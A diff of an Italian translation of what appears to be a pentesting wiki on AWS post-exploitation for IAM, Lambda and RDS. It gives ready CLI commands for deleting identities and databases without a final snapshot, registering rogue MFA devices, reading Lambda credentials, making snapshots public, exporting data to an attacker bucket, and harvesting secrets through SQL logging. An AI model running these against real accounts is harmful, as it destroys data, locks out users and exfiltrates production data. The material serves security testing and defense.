Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un attore può cancellare utenti, ruoli o gruppi—or modificare l'appartenenza a un gruppo—rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,8 +114,7 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o confini di autorizzazione, e scollegare policy da utenti, gruppi o ruoli. Questo compromette le autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i soggetti che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o limiti delle autorizzazioni, e scollegare policy da utenti, gruppi o ruoli. Questo distrugge autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per le entità che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +126,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Eliminazione delle identità federate
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare provider di identità OIDC/SAML o rimuovere client IDs. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso agli utenti e ai servizi che si basano su SSO fino al ripristino dell'IdP o delle configurazioni.
|
||||
### Eliminazione dell'identità federata
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare i provider di identità OIDC/SAML o rimuovere i client IDs. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso a utenti e servizi che dipendono da SSO fino al ripristino dell'IdP o delle configurazioni.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -139,7 +138,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Attivazione MFA illegittima
|
||||
Con `iam:EnableMFADevice`, un attaccante può registrare un MFA device sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta che un MFA non autorizzato è abilitato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o ripristinato (nota: se sono registrati più MFA devices, per l'accesso ne basta uno, quindi questo attacco non avrà effetto nel negare l'accesso).
|
||||
Con `iam:EnableMFADevice`, un attaccante può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta abilitato un MFA non autorizzato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne è richiesto soltanto uno, quindi questo attacco non impedirà l'accesso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +146,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Manomissione dei metadati di certificati/chiavi
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Segnando chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
|
||||
### Certificate/Key Metadata Tampering
|
||||
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Contrassegnando chiavi/certificati come inattivi o alterando i riferimenti, possono interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -159,6 +158,33 @@ aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
Il wildcard IAM iam:Delete* concede la possibilità di rimuovere molti tipi di risorse IAM — utenti, ruoli, gruppi, policy, chiavi, certificati, dispositivi MFA, versioni di policy, ecc. — e quindi ha un raggio d'azione molto elevato: un attore a cui è concesso iam:Delete* può distruggere permanentemente identità, credenziali, policy e artefatti correlati, rimuovere audit/evidence e causare interruzioni di servizio o operative. Alcuni esempi sono
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Un attore a cui è stata concessa l'azione iam:EnableMFADevice può registrare un dispositivo MFA su un'identità nell'account, a condizione che l'utente non ne avesse già uno abilitato. Questo può essere usato per interferire con l'accesso di un utente: una volta che un attacker registra un dispositivo MFA, l'utente legittimo potrebbe essere impedito dall'accedere perché non controlla il MFA registrato dall'attacker.
|
||||
|
||||
Questo attacco di negazione di accesso funziona solo se l'utente non aveva alcun MFA registrato; se l'attacker registra un dispositivo MFA per quell'utente, l'utente legittimo verrà escluso da qualsiasi flow che richieda quel nuovo MFA. Se l'utente ha già uno o più dispositivi MFA sotto il proprio controllo, aggiungere un MFA controllato dall'attacker non impedisce all'utente legittimo — questi può continuare ad autenticarsi usando qualsiasi MFA che già possiede.
|
||||
|
||||
Per abilitare (registrare) un dispositivo MFA per un utente, un attacker potrebbe eseguire:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
@@ -4,29 +4,35 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
### Esfiltrare credenziali Lambda
|
||||
|
||||
Lambda uses environment variables to inject credentials at runtime. If you can get access to them (by reading `/proc/self/environ` or using the vulnerable function itself), you can use them yourself. They live in the default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa variabili d'ambiente per iniettare credenziali durante l'esecuzione. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle. Sono memorizzate nei nomi di variabili predefiniti `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Per impostazione predefinita, queste avranno accesso per scrivere in un cloudwatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre che creare log group arbitrari; tuttavia le funzioni lambda spesso hanno permessi aggiuntivi assegnati in base al loro uso previsto.
|
||||
Per default, queste hanno accesso per scrivere in un CloudWatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre che per creare gruppi di log arbitrari; tuttavia le funzioni Lambda spesso hanno permessi aggiuntivi assegnati in base al loro uso previsto.
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### `lambda:Delete*`
|
||||
Un attacker cui è concesso `lambda:Delete*` può cancellare Lambda functions, versions/aliases, layers, event source mappings e altre configurazioni associate.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Rubare le richieste URL di altre Lambda
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
Se un attacker in qualche modo riesce a ottenere RCE all'interno di una Lambda sarà in grado di rubare le richieste HTTP di altri utenti verso la Lambda. Se le richieste contengono informazioni sensibili (cookies, credentials...) potrà sottrarle.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Rubare le richieste URL di altre Lambda & le richieste di Extensions
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Abusando di Lambda Layers è anche possibile sfruttare le extensions e persistere nella Lambda, oltre a rubare e modificare le richieste.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -36,8 +42,6 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
Forza una Lambda function fuori da una VPC ristretta aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La function verrà eseguita quindi nel Lambda-managed networking plane, riacquistando l'accesso internet in uscita e bypassando i controlli di egress imposti dalle private VPC subnets senza NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
@@ -46,8 +50,6 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
Abusa di `lambda:PutRuntimeManagementConfig` per fissare una funzione su una specifica runtime version (Manual) o congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare l'exploitation e la persistenza a lungo termine.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
@@ -56,8 +58,6 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
Abusa dei controlli di advanced logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una funzione verso un CloudWatch Logs log group scelto dall'attacker. Questo funziona senza cambiare il codice o l'execution role (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la funzione stampa secrets/request bodies o va in crash con stack traces, puoi raccoglierli dal nuovo log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
@@ -66,8 +66,6 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
Trasforma una Lambda Function URL privata in un endpoint pubblico non autenticato cambiando il Function URL AuthType in NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a everyone. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
@@ -76,8 +74,6 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
Abusa di `UpdateEventSourceMapping` per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record da DynamoDB Streams, Kinesis, o SQS vengano recapitati a una funzione controllata dall'attacker. Questo devia silenziosamente dati live senza toccare i producer o il codice della funzione originale.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
{{#endref}}
|
||||
@@ -86,8 +82,6 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che lista/legge file dal path montato per exfiltrare shared secrets/config a cui la funzione prima non poteva accedere.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se l'attaccante ha i permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi un DB accessibile pubblicamente dallo snapshot.
|
||||
Se l'attacker ha permessi sufficienti, potrebbe rendere un **DB pubblicamente accessibile** creando uno snapshot del DB e poi un DB pubblicamente accessibile dallo snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -38,11 +38,47 @@ aws rds modify-db-instance \
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione dei processi che dipendono dal database.
|
||||
|
||||
Per arrestare una singola istanza DB (esempio):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Per fermare un intero cluster DB (esempio):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Un attaccante a cui è concesso rds:Delete* può rimuovere le risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando un'immediata interruzione del servizio, perdita di dati, distruzione dei punti di ripristino e perdita di prove forensi.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un attacker con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot.
|
||||
Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare un DB nel proprio account a partire da quello snapshot.
|
||||
|
||||
Se l'attacker **non ha la `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
|
||||
Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,11 +89,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati per errore, l'attaccante potrebbe potenzialmente usare queste informazioni per elevare i propri privilegi o eseguire azioni non autorizzate.
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono accidentalmente registrati nei log, l'attaccante potrebbe utilizzare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
|
||||
**Impatto potenziale**: Accesso a informazioni sensibili o esecuzione di azioni non autorizzate utilizzando leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -66,35 +102,35 @@ Un attaccante con questi permessi può **DoS existing RDS instances**.
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Impatto potenziale**: Cancellazione di istanze RDS esistenti e possibile perdita di dati.
|
||||
**Potential impact**: Cancellazione delle istanze RDS esistenti e possibile perdita di dati.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> Da testare
|
||||
> TODO: Testare
|
||||
|
||||
Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo sul bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
|
||||
Un attacker con questa autorizzazione può esportare lo snapshot di un'istanza RDS in un bucket S3. Se l'attacker ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato.
|
||||
|
||||
### Replica cross-Region delle Automated Backups per ripristino stealth (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusare della replica cross-Region delle Automated Backups per duplicare silenziosamente le Automated Backups di un'istanza RDS in un'altra AWS Region e ripristinarle lì. L'attaccante può poi rendere il DB ripristinato accessibile pubblicamente e resettare la password master per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare.
|
||||
Sfruttare cross-Region automated backups replication per duplicare silenziosamente gli automated backups di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato pubblicamente accessibile e reimpostare la master password per accedere ai dati out-of-band in una Region che i difensori potrebbero non monitorare.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Permessi necessari (minimi):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione
|
||||
- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione
|
||||
- `rds:ModifyDBInstance` nella Region di destinazione
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (cleanup opzionale)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato)
|
||||
|
||||
Impact: Persistenza e esfiltrazione dei dati ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
|
||||
Impatto: Persistenza e data exfiltration ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
|
||||
|
||||
<details>
|
||||
<summary>CLI end-to-end (sostituire i segnaposto)</summary>
|
||||
<summary>Esempio CLI end-to-end (sostituire i segnaposto)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Abilitare il full SQL logging tramite DB parameter groups ed esfiltrare usando RDS log APIs
|
||||
### Abilitare il logging SQL completo via DB parameter groups ed esfiltrare tramite RDS log APIs
|
||||
|
||||
Abuse `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie le credenziali del DB engine). Abilita l'engine SQL logging e recupera i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
Abusare di `rds:ModifyDBParameterGroup` con le RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie credenziali del DB engine). Abilitare il logging SQL dell'engine e recuperare i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o il REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
Permessi necessari (minimi):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (solo per associare un parameter group custom se l'istanza usa quello di default)
|
||||
- `rds:RebootDBInstance` (per parametri che richiedono reboot, es. PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Passaggi
|
||||
1) Recon del target e del parameter group corrente
|
||||
1) Recon target e current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare quello di default)
|
||||
- Se l'istanza usa già un custom group, riutilizza il suo nome nel passaggio successivo.
|
||||
- Altrimenti crea e associa uno corrispondente all'engine family:
|
||||
2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare il default)
|
||||
- Se l'istanza usa già un custom group, riutilizza il suo nome nel passo successivo.
|
||||
- Altrimenti crea e associa uno corrispondente alla engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -197,7 +233,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Abilitare il logging SQL dettagliato
|
||||
- Motori MySQL (immediato / senza riavvio):
|
||||
- MySQL engines (immediato / senza riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (richiede riavvio):
|
||||
- Motori PostgreSQL (riavvio richiesto):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Lasciare che il workload venga eseguito (o generare query). Le istruzioni SQL verranno scritte nei file di log del motore
|
||||
4) Lascia eseguire il workload (o genera query). Le istruzioni saranno scritte nei file di log del motore
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Individuare e scaricare i file di log (no DB creds required)
|
||||
5) Individua e scarica i log (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -246,7 +282,7 @@ Esempio di evidenza (oscurata):
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Pulizia
|
||||
- Ripristina i parametri ai valori predefiniti e riavvia se necessario:
|
||||
- Ripristinare i parametri ai valori predefiniti e riavviare se necessario:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,11 +297,11 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impatto: Accesso ai dati post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII.
|
||||
Impatto: Post-exploitation accesso ai dati catturando tutte le SQL statements dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attaccante può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica quella della primaria), e opzionalmente esporre la replica pubblicamente per exfiltrate data.
|
||||
Abuse RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le primary instance credentials. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non cambia la primary), e opzionalmente esporre la replica pubblicamente per exfiltrate data.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
@@ -273,7 +309,7 @@ Permissions needed (minimum):
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attaccante; minore probabilità di rilevamento poiché la primaria rimane intatta e la replica continua a replicare.
|
||||
Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con attacker-controlled credentials; minore probabilità di rilevamento poiché la primary rimane intatta e la replication continua.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Esempio di evidenza (MySQL):
|
||||
- Stato Replica DB: `available`, replicazione in lettura: `replicating`
